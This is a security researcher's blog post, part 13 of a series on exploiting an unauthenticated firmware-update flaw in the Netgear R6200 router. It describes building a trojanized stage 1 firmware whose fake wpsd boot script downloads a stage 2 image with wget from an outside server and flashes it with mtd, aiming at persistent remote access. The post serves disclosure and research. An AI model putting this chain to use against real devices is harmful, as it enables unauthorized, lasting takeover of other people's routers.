Thursday, October 08, 2015

Broken, Abandoned, and Forgotten Code, Part 13

In the first twelve parts of this series, we identified an unauthenticated firmware update feature in the Netgear R6200 wireless router. Unfortunately, this feature was broken and only partially implemented, making exploitation less that straightforward. We reverse engineered the timing requirements and structure of the SOAP request required to exploit this vulnerability. We also reverse engineered the firmware image format, including its undocumented firmware header.

As of the previous part, the exploitation phase is complete, which is to say we are able to have the Netgear UPnP daemon overwrite the firmware on flash storage with arbitrary data of our choosing. We are able to do this without authentication.

This and the next part will cover post exploitation. We're able to write a firmware with whatever customization we desire. How should we trojanize the firmware image so that the exploit yields persistent remote access?

Updated Exploit Code

This week's update to the proof-of-concept code is substantial. There is a new part_13 directory that corresponds to this post. The SetFirmware exploit and firmware generation code remains the same. However, there is a new payload-src directory which contains code for generating a stage 1 (and later, stage 2) payload. The README in part_13 has been updated with details on assembling the stage 1 firmware. Now is a good time to do a git pull. If you don't have the code, you can clone it from:


Before discussing post-exploitation firmware, it's worth recapping how the exploit works. It goes roughly like this:
  • Send HTTP headers for a SOAP request, including a magic Content-Length value
  • Sleep one second
  • Send remainder of the SOAP request with trojan firmware base64 encoded within
  • Sleep 1-2 seconds
  • The firmware must be stripped down to less than 4MB to avoid crashing upnpd
  • If the firmware header passes minimal inspection and avoids crashing upnpd, it is written to flash, replacing the original firmware
  • The target reboots into the new firmware
Unfortunately, due to the bug that crashes upnpd, the firmware image must be stripped down to a size such that it's barely functional. In part 11 we stripped out everything except what is required for the device to successfully boot and have internet connectivity. This even included the web server. This has a couple of implications. First is this exploit requires a two-stage payload, since we can't leave the device with a stripped down firmware. The first stage must download the second stage, a full-blown, trojanized firmware image, and flash it. The device must then reboot into stage 2.

The second implication is that there is nothing remaining in the stripped down firmware with which to parse and flash the second stage firmware image. We'll need to come up with a mechanism to do the downloading and flashing of stage 2 and integrate it into the minimized stage 1 image. Of course, in order to stay under 4MB, this mechanism must be as small as possible.

How to Bootstrap Stage 2?

This can be broken down into two problems: 
  1. How to kick off this process automatically at boot time?
  2. How to parse and flash the firmware image?
The first part is relatively easy. As I mentioned in part 11, the boot sequence is brittle and not at all configurable. There's a binary executable that kicks off the various services in a particular order. Some of those services kick off other services. There is no editable script or configuration file that determines what should run and in what sequence. It's unclear what the impact will be if a service fails to start. If you recall, to trick the system into thinking every service had started successfully, we replaced each service with a shell script of the same name that exits with a successful status. It is simple to edit one of those dummy scripts to download and flash the stage 2 image. I recommend choosing one of the last scripts in the boot sequence to ensure networking has been configured. I chose the /usr/sbin/wpsd script; it runs late in the boot sequence. Luckily, we still have wget on the system (it's one of busybox's personalities), so downloading the second stage is simple.

For the second problem, flashing the downloaded image, we'll need to provide a utility, since there's nothing left that will do this for us. Because it was late at night when I was working on this part, I didn't want to spend time writing my own utility to parse the ambit image, and to do gymnastics involved writing the image. Fortunately, the OpenWRT project provides an mtd-writing utility that handles all the semantics of unlocking, erasing, and writing /dev/mtd flash memory devices.

I had to patch the utility to remove functionality we don't need, thereby eliminating some library dependencies. Since OpenWRT is GPL licensed, I didn't want to include it in this project's source code. The README in part 13 of the PoC code describes how to clone my mtdwriter project and put it in the right place so the stage 1 Makefile will find and build it. For the curious, the customized mtd utility is located here:

You will, of course, need a uClibc little endian MIPS cross compiler to build it. I recommend using buildroot to build the cross compiler.

OpenWRT's mtd doesn't know anything about the ambit firmware image. It's only useful insofar as it can write arbitrary data to a /dev/mtd device. This actually works out for the best; bootstrapping the second stage is a sensitive operation. If anything goes wrong, the target device will be bricked. Moving as much complexity as possible off the target and into the payload building stage is good.

Since we already have code that generates an ambit firmware image, the easiest thing to do is to preprocess that file and turn it into a flat image that can be laid down on the appropriate flash partition. The mtd utility just writes an opaque blob with no knowledge of what it's writing.

Below is the "fake" wpsd script that downloads the second stage and flashes it using the mtd utility.


echo "Fake wpsd"


echo "Initializing update procedure for Stage 2 firmware."

# download stage 2
wget$S2MTD -O /tmp/$S2MTD || exit 1

# write stage 2 to /dev/mtd1. -r option reboots.
mtd -r write /tmp/$S2MTD /dev/mtd1

When we roll those changes into the minimized stage 1 firmware, then exploit the UPnP server, the device should reboot, then download and flash the second stage firmware image. You'll need to serve the stage 2 image over HTTP so wget can download it. We'll cover that in part 14.

Also in the next and final part, we'll discuss preprocessing an ambit image for easy writing to flash. We'll also address what the second stage firmware should contain such that it yields persistent, remote access.